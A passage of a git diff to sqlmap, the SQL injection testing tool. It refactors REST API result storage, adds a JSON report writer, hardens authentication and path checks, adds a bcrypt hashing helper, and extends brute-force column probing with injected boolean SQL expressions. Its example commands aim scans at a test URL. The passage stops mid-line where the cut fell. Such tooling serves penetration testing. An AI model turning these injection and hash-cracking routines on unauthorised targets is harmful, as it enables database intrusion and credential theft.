'data' table. + + Shared by the REST API (via StdDbOut) and the CLI --report-json collector so both capture + results through identical logic (partial outputs are appended; a COMPLETE output replaces + its partials). Mirrors the API's per-content_type merge semantics. + """ + + if content_type is None: + if kb.partRun is not None: + content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) + else: + # Ignore all non-relevant (untyped) messages + return + + output = cursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (taskid, content_type)) + + # Delete partial output from the database if we have got a complete output + if status == CONTENT_STATUS.COMPLETE: + if len(output) > 0: + for index in xrange(len(output)): + cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) + + cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (taskid, status, content_type, jsonize(value))) + if kb.partRun: + kb.partRun = None + + elif status == CONTENT_STATUS.IN_PROGRESS: + if len(output) == 0: + cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (taskid, status, content_type, jsonize(value))) + else: + new_value = "%s%s" % (dejsonize(output[0][2]), value) + cursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) + +# Internal detection/plumbing fields that are meaningless to API/report consumers and are stripped +# from the assembled output (the underlying kb/session structures keep them; only the output is cleaned) +INJECTION_INTERNAL_FIELDS = ("conf", "prefix", "suffix", "ptype", "clause") # detection/construction internals, irrelevant to a result consumer +TECHNIQUE_INTERNAL_FIELDS = ("matchRatio", "trueCode", "falseCode", "templatePayload", "where") # per-technique internals + +def _cleanIdentifier(name): + """ + Strips SQL identifier quoting (`backticks`, "double quotes", [brackets]) in a DBMS-INDEPENDENT + way. Used instead of unsafeSQLIdentificatorNaming (which needs Backend.getIdentifiedDbms) so the + result is identical in the CLI and in the API server process - which has no Backend context + because the scan ran in a subprocess. Context-free => API and report stay in parity. + """ + + if isinstance(name, six.string_types): + for ch in ("`", "\"", "[", "]"): + name = name.replace(ch, "") + return name + +def _cleanIdentifiersDeep(value): + """ + Recursively unquotes every identifier in a metadata structure (dict keys and string leaves - + db/table/column names). Used for the schema-listing content types (TABLES/COLUMNS/SCHEMA/COUNT) + whose payload is entirely identifiers + types/counts (never user row data), so cleaning every + string is safe. NOT used for DUMP_TABLE, whose leaf values are real row data. + """ + + if isinstance(value, dict): + return dict((_cleanIdentifier(k), _cleanIdentifiersDeep(v)) for k, v in value.items()) + elif isinstance(value, (list, tuple)): + return [_cleanIdentifiersDeep(_) for _ in value] + elif isinstance(value, six.string_types): + return _cleanIdentifier(value) + return value + +# Schema-listing content types: pure identifiers + types/counts, so identifier quoting is cleaned +# recursively for consistency with DUMP_TABLE (which is handled separately because it carries row data) +IDENTIFIER_KEYED_TYPES = (CONTENT_TYPE.TABLES, CONTENT_TYPE.COLUMNS, CONTENT_TYPE.SCHEMA, CONTENT_TYPE.COUNT) + +def _sanitizeScanData(content_type, value): + """ + Reshapes an assembled result value into the clean, consumer-facing form used by BOTH the API + response and the --report-json file: internal detection/plumbing fields are dropped, the + per-technique map becomes a named list, and dumped-table identifiers are unquoted. Operates on + the dejsonized copy, so the live kb/session structures are never modified. Falls back to the raw + value on any surprise. + """ + + try: + if content_type == CONTENT_TYPE.TECHNIQUES and isinstance(value, (list, tuple)): + cleaned = [] + for injection in value: + if not isinstance(injection, dict): + cleaned.append(injection) + continue + injection = dict(injection) + for field in INJECTION_INTERNAL_FIELDS: + injection.pop(field, None) + techniques = injection.get("data") + if isinstance(techniques, dict): + # turn the {"1": {...}, "2": {...}} map (keyed by opaque technique ids) into an + # ordered list, each entry naming its technique (e.g. "boolean-based blind") + reduced = [] + for stype in sorted(techniques, key=lambda _: int(_) if str(_).isdigit() else _): + details = techniques[stype] + if isinstance(details, dict): + details = dict(details) + for field in TECHNIQUE_INTERNAL_FIELDS: + details.pop(field, None) + key = int(stype) if str(stype).isdigit() else stype + entry = {"technique": PAYLOAD.SQLINJECTION.get(key, key)} + entry.update(details) + details = entry + reduced.append(details) + injection["data"] = reduced + cleaned.append(injection) + return cleaned + + elif content_type == CONTENT_TYPE.DUMP_TABLE and isinstance(value, dict): + infos = value.get("__infos__") or {} + result = {"db": _cleanIdentifier(infos.get("db")), "table": _cleanIdentifier(infos.get("table")), "count": infos.get("count"), "columns": {}} + for column, cell in value.items(): + if column == "__infos__": + continue + # clean the identifier, drop the per-column display 'length', keep just the values list + values = cell.get("values") if isinstance(cell, dict) else cell + if isinstance(values, (list, tuple)): + # sqlmap represents a DB NULL as a single space (DUMP_REPLACEMENTS); surface it as + # JSON null. An empty string "" is a genuine empty value and is left as-is. + values = [None if _ == " " else _ for _ in values] + result["columns"][_cleanIdentifier(column)] = values + return result + + elif content_type in IDENTIFIER_KEYED_TYPES and isinstance(value, (dict, list, tuple)): + return _cleanIdentifiersDeep(value) + + except Exception as ex: + logger.debug("failed to sanitize scan data (content type %s): %s" % (content_type, getSafeExString(ex))) + + return value + +def _assembleData(cursor, taskid): + """ + Assembles all stored results for a task into the canonical scan-data structure + {"success": True, "data": [{status, type, type_name, value}, ...], "error": [...]}. + + Shared by the REST API endpoint /scan//data and the CLI --report-json writer so the two + produce identical output (the CLI report is this dict plus a 'meta' wrapper). + """ + + json_data_message = list() + json_errors_message = list() + + for status, content_type, value in cursor.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_data_message.append({"status": status, "type": content_type, "type_name": CONTENT_TYPE_NAMES.get(content_type), "value": _sanitizeScanData(content_type, dejsonize(value))}) + + for error, in cursor.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_errors_message.append(error) + + return {"success": True, "data": json_data_message, "error": json_errors_message} + +def setupReportCollector(): + """ + Creates an in-memory IPC-style database used to collect results for a CLI --report-json run. + Reuses the same Database/schema the REST API uses so capture+assembly logic is shared. + """ + + collector = Database(":memory:") + collector.connect("report") + collector.init() + + # record error/critical log messages into the collector so that a CLI --report-json report carries + # the same 'error' content the REST API exposes via /scan//data - letting consumers tell a + # failed/unreachable run apart from a clean "nothing found" one (both otherwise have empty 'data') + logger.addHandler(ReportErrorRecorder(collector)) + + return collector + +def writeReportJson(collector, filepath): + """ + Writes the collected results to filepath as JSON, in the same shape as the REST API's + /scan//data response, wrapped with a small 'meta' block for standalone consumers. + """ + + result = _assembleData(collector, REPORT_TASKID) + result["meta"] = { + "api_version": int(RESTAPI_VERSION.split(".")[0]), # MAJOR only - the part that matters for client compatibility + "sqlmap_version": VERSION_STRING, + "url": conf.get("url"), + "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), + } + + with openFile(filepath, "w+") as f: + f.write(getText(jsonize(result))) + # API objects class Database(object): filepath = None @@ -90,7 +291,7 @@ def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) self.cursor = self.connection.cursor() self.lock = threading.Lock() - logger.debug("REST-JSON API %s connected to IPC database" % who) + logger.debug("REST API %s connected to IPC database" % who) def disconnect(self): if self.cursor: @@ -118,13 +319,13 @@ def execute(self, statement, arguments=None): else: break - if statement.lstrip().upper().startswith("SELECT"): - return self.cursor.fetchall() + if statement.lstrip().upper().startswith("SELECT"): + return self.cursor.fetchall() def init(self): - self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") - self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") - self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") + self.execute("CREATE TABLE IF NOT EXISTS errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") class Task(object): def __init__(self, taskid, remote_addr): @@ -233,31 +434,7 @@ def __init__(self, taskid, messagetype="stdout"): def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": - if content_type is None: - if kb.partRun is not None: - content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) - else: - # Ignore all non-relevant messages - return - - output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type)) - - # Delete partial output from IPC database if we have got a complete output - if status == CONTENT_STATUS.COMPLETE: - if len(output) > 0: - for index in xrange(len(output)): - conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) - - conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) - if kb.partRun: - kb.partRun = None - - elif status == CONTENT_STATUS.IN_PROGRESS: - if len(output) == 0: - conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) - else: - new_value = "%s%s" % (dejsonize(output[0][2]), value) - conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) + _storeData(conf.databaseCursor, self.taskid, value, status, content_type) else: conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) @@ -276,7 +453,23 @@ def emit(self, record): Record emitted events to IPC database for asynchronous I/O communication with the parent process """ - conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, record.msg % record.args if record.args else record.msg)) + conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) + +class ReportErrorRecorder(logging.Handler): + def __init__(self, collector): + """ + Records error/critical log messages into a report collector's 'errors' table (the counterpart + of StdDbOut's stderr branch for CLI --report-json runs) + """ + logging.Handler.__init__(self) + self.setLevel(logging.ERROR) + self.collector = collector + + def emit(self, record): + try: + self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (REPORT_TASKID, str(record.msg % record.args if record.args else record.msg))) + except Exception: + pass def setRestAPILog(): if conf.api: @@ -293,7 +486,20 @@ def setRestAPILog(): # Generic functions def is_admin(token): - return DataStore.admin_token == token + return safeCompareStrings(DataStore.admin_token, token) + +def validate_task_options(taskid, options, caller): + if not isinstance(options, dict): + logger.warning("[%s] Invalid JSON options provided to %s()" % (taskid, caller)) + return "Invalid JSON options" + + for key in options: + if key in RESTAPI_UNSUPPORTED_OPTIONS or key in RESTAPI_READONLY_OPTIONS: + logger.warning("[%s] Unsupported option '%s' provided to %s()" % (taskid, key, caller)) + return "Unsupported option '%s'" % key + elif key not in DataStore.tasks[taskid].options: + logger.warning("[%s] Unknown option '%s' provided to %s()" % (taskid, key, caller)) + return "Unknown option '%s'" % key @hook('before_request') def check_authentication(): @@ -311,11 +517,11 @@ def check_authentication(): except: request.environ["PATH_INFO"] = "/error/401" else: - if creds.count(':') != 1: + if ':' not in creds: request.environ["PATH_INFO"] = "/error/401" else: - username, password = creds.split(':') - if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): + username, password = creds.split(':', 1) + if not (safeCompareStrings(username.strip(), DataStore.username or "") and safeCompareStrings(password.strip(), DataStore.password or "")): # Note: constant-time comparison (mirrors is_admin) to avoid a timing side-channel on the credentials request.environ["PATH_INFO"] = "/error/401" @hook("after_request") @@ -391,6 +597,7 @@ def task_delete(taskid): Delete an existing task """ if taskid in DataStore.tasks: + DataStore.tasks[taskid].engine_kill() DataStore.tasks.pop(taskid) logger.debug("(%s) Deleted task" % taskid) @@ -412,9 +619,13 @@ def task_list(token=None): """ tasks = {} - for key in DataStore.tasks: + for key in list(DataStore.tasks): if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: - tasks[key] = dejsonize(scan_status(key))["status"] + # NOTE: tolerate a task being deleted concurrently (scan_status would then return an + # error envelope without a "status" key); skip it rather than raising KeyError + status = dejsonize(scan_status(key)).get("status") + if status is not None: + tasks[key] = status logger.debug("(%s) Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) @@ -488,6 +699,10 @@ def option_set(taskid): logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) + message = validate_task_options(taskid, request.json, "option_set") + if message: + return jsonize({"success": False, "message": message}) + for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) @@ -509,10 +724,13 @@ def scan_start(taskid): logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) - for key in request.json: - if key in RESTAPI_UNSUPPORTED_OPTIONS: - logger.warning("[%s] Unsupported option '%s' provided to scan_start()" % (taskid, key)) - return jsonize({"success": False, "message": "Unsupported option '%s'" % key}) + if DataStore.tasks[taskid].engine_process() is not None and not DataStore.tasks[taskid].engine_has_terminated(): + logger.warning("[%s] Scan already running" % taskid) + return jsonize({"success": False, "message": "Scan already running"}) + + message = validate_task_options(taskid, request.json, "scan_start") + if message: + return jsonize({"success": False, "message": message}) # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): @@ -582,23 +800,15 @@ def scan_data(taskid): Retrieve the data of a scan """ - json_data_message = list() - json_errors_message = list() - if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - # Read all data from the IPC database for the taskid - for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): - json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)}) - - # Read all error messages from the IPC database - for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): - json_errors_message.append(error) + # Read all data and error messages from the IPC database (shared assembler - same output as --report-json) + result = _assembleData(DataStore.current_db, taskid) logger.debug("(%s) Retrieved scan data and error messages" % taskid) - return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) + return jsonize(result) # Functions to handle scans' logs @get("/scan//log//") @@ -659,7 +869,7 @@ def download(taskid, target, filename): path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename)) # Prevent file path traversal - if not path.startswith(paths.SQLMAP_OUTPUT_PATH): + if not path.startswith(os.path.join(paths.SQLMAP_OUTPUT_PATH, "")): logger.warning("[%s] Forbidden path (%s)" % (taskid, target)) return jsonize({"success": False, "message": "Forbidden path"}) @@ -678,26 +888,32 @@ def version(token=None): """ logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr)) - return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]}) + return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1], "api_version": int(RESTAPI_VERSION.split(".")[0])}) -def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None): +def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None, database=None): """ - REST-JSON API server + REST API server """ + if not all((username, password)): + logger.critical("REST API server requires both username and password") + DataStore.admin_token = encodeHex(os.urandom(16), binary=False) DataStore.username = username DataStore.password = password - _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) - os.close(_) + if not database: + _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) + os.close(_) + else: + Database.filepath = database if port == 0: # random with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: s.bind((host, 0)) port = s.getsockname()[1] - logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) + logger.info("Running REST API server at '%s:%d'.." % (host, port)) logger.info("Admin (secret) token: %s" % DataStore.admin_token) logger.debug("IPC database: '%s'" % Database.filepath) @@ -757,34 +973,35 @@ def _client(url, options=None): def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None): """ - REST-JSON API client + REST API client """ DataStore.username = username DataStore.password = password + auth = ' --user "%s:%s"' % (username, password) if (username or password) else "" # REST API requires HTTP Basic auth dbgMsg = "Example client access from command line:" - dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) - dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) - dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) - dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) + dbgMsg += "\n\t$ taskid=$(curl -s%s http://%s:%d/task/new | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (auth, host, port) + dbgMsg += "\n\t$ curl%s -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (auth, host, port) + dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/data" % (auth, host, port) + dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/log" % (auth, host, port) logger.debug(dbgMsg) addr = "http://%s:%d" % (host, port) - logger.info("Starting REST-JSON API client to '%s'..." % addr) + logger.info("Starting REST API client to '%s'..." % addr) try: _client(addr) except Exception as ex: if not isinstance(ex, _urllib.error.HTTPError) or ex.code == _http_client.UNAUTHORIZED: errMsg = "There has been a problem while connecting to the " - errMsg += "REST-JSON API server at '%s' " % addr + errMsg += "REST API server at '%s' " % addr errMsg += "(%s)" % getSafeExString(ex) logger.critical(errMsg) return commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit") - colors = ('red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'lightgrey', 'lightred', 'lightgreen', 'lightyellow', 'lightblue', 'lightmagenta', 'lightcyan') + colors = ('red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'lightgrey', 'lightred', 'lightgreen', 'lightyellow', 'lightblue', 'lightmagenta', 'lightcyan') autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands) taskid = None @@ -895,7 +1112,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non elif command in ("help", "?"): msg = "help Show this help message\n" - msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n" + msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"https://sekumart.sekuripy.hr/product.php?id=1\"')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "data Retrieve and show data for current task\n" msg += "log Retrieve and show log for current task\n" diff --git a/lib/utils/bcrypt.py b/lib/utils/bcrypt.py new file mode 100644 index 00000000000..d8211574087 --- /dev/null +++ b/lib/utils/bcrypt.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import struct + +from lib.core.compat import xrange +from lib.core.convert import getBytes + +# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi +BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + +_bcryptState = None + +def _bcryptInitState(): + global _bcryptState + + if _bcryptState is None: + count = 18 + 4 * 256 + ndigits = count * 8 + prec = ndigits + 16 + one = 1 << (4 * prec) + + def _arctan(inv): + total = term = one // inv + square = inv * inv + i = 1 + while term: + term //= square + total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) + i += 1 + return total + + frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) + hexstr = "%0*x" % (ndigits, frac) + words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] + _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) + + return _bcryptState + +def _bcryptEncipher(P, S, L, R): + for i in xrange(16): + L ^= P[i] + R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff + L, R = R, L + L, R = R, L + return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff + +def _bcryptStream(data, offset): + word = 0 + for _ in xrange(4): + word = ((word << 8) | data[offset[0]]) & 0xffffffff + offset[0] = (offset[0] + 1) % len(data) + return word + +def _bcryptExpand(P, S, data, key): + koffset = [0] + for i in xrange(18): + P[i] ^= _bcryptStream(key, koffset) + + doffset = [0] + L = R = 0 + for i in xrange(0, 18, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + P[i], P[i + 1] = L, R + + for b in xrange(4): + for k in xrange(0, 256, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + S[b][k], S[b][k + 1] = L, R + +def _bcryptBase64(data): + retVal = "" + i = 0 + while i < len(data): + c = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] + c = (c & 3) << 4 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + d = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] + c = (d & 0x0f) << 2 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + e = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] + retVal += BCRYPT_ITOA64[e & 0x3f] + return retVal + +def _bcryptUnbase64(value, length): + retVal = bytearray() + positions = [BCRYPT_ITOA64.index(_) for _ in value] + i = 0 + while i < len(positions) and len(retVal) < length: + c1 = positions[i] + c2 = positions[i + 1] if i + 1 < len(positions) else 0 + retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) + if len(retVal) >= length: + break + c3 = positions[i + 2] if i + 2 < len(positions) else 0 + retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) + if len(retVal) >= length: + break + c4 = positions[i + 3] if i + 3 < len(positions) else 0 + retVal.append((((c3 & 3) << 6) | c4) & 0xff) + i += 4 + return retVal[:length] + +def bcryptHash(password, salt, cost): + """ + Provos-Mazieres EksBlowfish digest, base64-encoded (the openwall bcrypt hash tail) + + >>> bcryptHash("U*U", "CCCCCCCCCCCCCCCCCCCCC.", 5) + 'E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + P0, S0 = _bcryptInitState() + P, S = list(P0), [list(_) for _ in S0] + + key = bytearray(getBytes(password) + b"\0") + saltbytes = _bcryptUnbase64(salt, 16) + + _bcryptExpand(P, S, saltbytes, key) + for _ in xrange(1 << cost): + _bcryptExpand(P, S, b"", key) + _bcryptExpand(P, S, b"", saltbytes) + + ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) + for _ in xrange(64): + for j in xrange(0, 6, 2): + ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) + + digest = bytearray(struct.pack(">6I", *ctext))[:23] + + return _bcryptBase64(digest) + diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 905e5d241ee..5f917e26a39 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,13 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division -import logging import time from lib.core.common import Backend @@ -229,93 +228,97 @@ def columnExists(columnFile, regex=None): columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) - table = safeSQLIdentificatorNaming(conf.tbl, True) + for table in conf.tbl.split(','): + table = safeSQLIdentificatorNaming(table, True) - if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): - table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) + if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) - kb.threadContinue = True - kb.bruteMode = True - - threadData = getCurrentThreadData() - threadData.shared.count = 0 - threadData.shared.limit = len(columns) - threadData.shared.files = [] + kb.threadContinue = True + kb.bruteMode = True - def columnExistsThread(): threadData = getCurrentThreadData() + threadData.shared.count = 0 + threadData.shared.limit = len(columns) + threadData.shared.files = [] - while kb.threadContinue: - kb.locks.count.acquire() - if threadData.shared.count < threadData.shared.limit: - column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) - threadData.shared.count += 1 - kb.locks.count.release() - else: - kb.locks.count.release() - break + def columnExistsThread(): + threadData = getCurrentThreadData() - if Backend.isDbms(DBMS.MCKOI): - result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) - else: - result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) + while kb.threadContinue: + kb.locks.count.acquire() - kb.locks.io.acquire() + if threadData.shared.count < threadData.shared.limit: + column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break - if result: - threadData.shared.files.append(column) + if Backend.isDbms(DBMS.MCKOI): + result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) + else: + result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) - if conf.verbose in (1, 2) and not conf.api: - clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) - dataToStdout(infoMsg, True) + kb.locks.io.acquire() - if conf.verbose in (1, 2): - status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) - dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + if result: + threadData.shared.files.append(column) - kb.locks.io.release() + if conf.verbose in (1, 2) and not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) + dataToStdout(infoMsg, True) - try: - runThreads(conf.threads, columnExistsThread, threadChoice=True) - except KeyboardInterrupt: - warnMsg = "user aborted during column existence " - warnMsg += "check. sqlmap will display partial output" - logger.warning(warnMsg) - finally: - kb.bruteMode = False + if conf.verbose in (1, 2): + status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) - clearConsoleLine(True) - dataToStdout("\n") + kb.locks.io.release() - if not threadData.shared.files: - warnMsg = "no column(s) found" - logger.warning(warnMsg) - else: - columns = {} - - for column in threadData.shared.files: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): - result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): - result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) - elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): - result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) - else: - result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) + try: + runThreads(conf.threads, columnExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during column existence " + warnMsg += "check. sqlmap will display partial output" + logger.warning(warnMsg) + finally: + kb.bruteMode = False - if result: - columns[column] = "numeric" - else: - columns[column] = "non-numeric" + clearConsoleLine(True) + dataToStdout("\n") - kb.data.cachedColumns[conf.db] = {conf.tbl: columns} + if not threadData.shared.files: + warnMsg = "no column(s) found" + logger.warning(warnMsg) + else: + columns = {} + + for column in threadData.shared.files: + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): + result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", 